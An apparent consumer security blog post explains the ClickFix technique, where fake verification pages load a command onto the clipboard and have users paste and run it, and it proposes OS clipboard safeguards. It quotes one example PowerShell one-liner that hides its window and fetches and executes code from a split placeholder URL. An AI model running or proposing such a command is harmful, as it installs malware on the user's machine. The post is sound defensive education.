Fixing ClickFix

There’s a very potent, very effective new malware delivery mechanism dubbed ClickFix, accounting for over half of all infections last year. I’ll tell you how to avoid it – and why you shouldn’t have to.

What is ClickFix?

We’re getting used to seeing CAPTCHAs that make us do weird things to prove that we’re real humans. (This is becoming increasingly ironic as we deploy “agentic” AI bots to do things on our behalves.) But the bad guys have come up with a devilishly clever way to exploit this and similar situations to trick us into installing malware. The attack is called “ClickFix”, though there are other variants.

So, how does this work? The bad guys need to get you to a malicious web page. This can happen in many ways, from clicking on a malicious ad (called “malvertising”), or a “sponsored” link in search results, or a link from a phishing email – either in the email itself or in an attached file. You may also run across scams like this on shady sites, like for pirated software or movies.

But however you get there, you will see some sort of message or error along these lines:

• Please verify that you’re a human (CAPTCHA)
• Browser verification failed
• Additional verification required
• Please run this command to continue
• App has crashed, run this command to scan for problems or fix the issue

An actual ClickFix example is shown below.

How ClickFix Works

When you’re in a web browser on a desktop computer, you have several layers of protection. Browsers are “sandboxed” and can’t directly run commands on your computer. Most have some sort of download protections, including marking any file downloaded from the internet with a “mark of the web“. This mark tells your computer to be extra careful when opening these documents, particularly if they try to install something or run commands. And some of us have third party antivirus software (though I don’t recommend this) that would also try to prevent you from downloading malware.

But ClickFix works by tricking you into bypassing all of these protections. Let’s look at the example above. Here’s what is actually going on.

1. The malicious web page that shows this message has automatically loaded your system clipboard with a computer command. That is, the page has surreptitiously copied some hidden text so that it’s ready to paste.
2. The “Win + R” key combination on a Windows computer will open up a Run dialog which allows you to execute commands as text (as opposed to the usual graphical user interface).
3. The “Ctrl + V” key combination will paste the contents of the clipboard into the Run dialog. This is the malicious computer command that was pre-copied to the clipboard when you visited the attacker’s web page.
4. And finally, hitting “Enter” will tell your computer to execute the malicious command.

The command itself is often obfuscated so it’s difficult to tell what it’s really doing. Here’s an example command:

powershell -NoP -W Hidden -C $a="https://mal"; $b="waresite.com/update"; $u=$a+$b; iex (irm $u) # browser verification step

This command opens a (hidden) PowerShell window, downloads a malicious command from a website (which is obfuscated by breaking it into two parts) and executes the command. You’ve just told your computer to install malware, which it will happily do. If the command is really long, like this one, it will scroll to the end and all you might see is the benign-looking comment at the end.

You might also be asked to open File Explorer because you can paste and run commands in the address bar. On a Mac, you’d be asked to open a Terminal window instead of a Run dialog. All different ways to do the same thing.

Fixing ClickFix

So, now that you know how this works, the solution is to just ignore the directions like this, no matter how authentic they look or how dire or innocuous they sound. Close the web page and pat yourself on the back.

But here’s the bottom line: you shouldn’t have to worry about this. This is a failing of the operating system (OS). Apple and Microsoft need to address this problem in macOS and Windows, and they should do it ASAP. How? I can think of a few ideas…

1. Everything copied to the clipboard (anything that can be subsequently pasted) should know and remember where it came from. Any text placed on your clipboard by a website should be flagged as suspicious (like the ‘mark of the web’). Your OS should then warn you before pasting this text into a Run dialog, Terminal window, or anywhere else that could execute a computer command.
2. You should have an easy way to inspect the content of your clipboard (without having to paste it somewhere), including the provenance of what’s stored there.
3. Web browsers should not be able to automatically put text on your clipboard without any user action whatsoever. It should at least be a setting you can toggle (defaulting to not allowing it).

People that do a lot of computer programming copy and paste commands to run all the time. I know I do. So we would need some ways to disable constant warnings in those cases, maybe for a limited amount of time (‘stop warning me for 2 hours’). But by default, the OS should be making it a lot harder to paste commands from the web into a terminal and execute them. We should not be counting on training billions of people to avoid ClickFix-style attacks.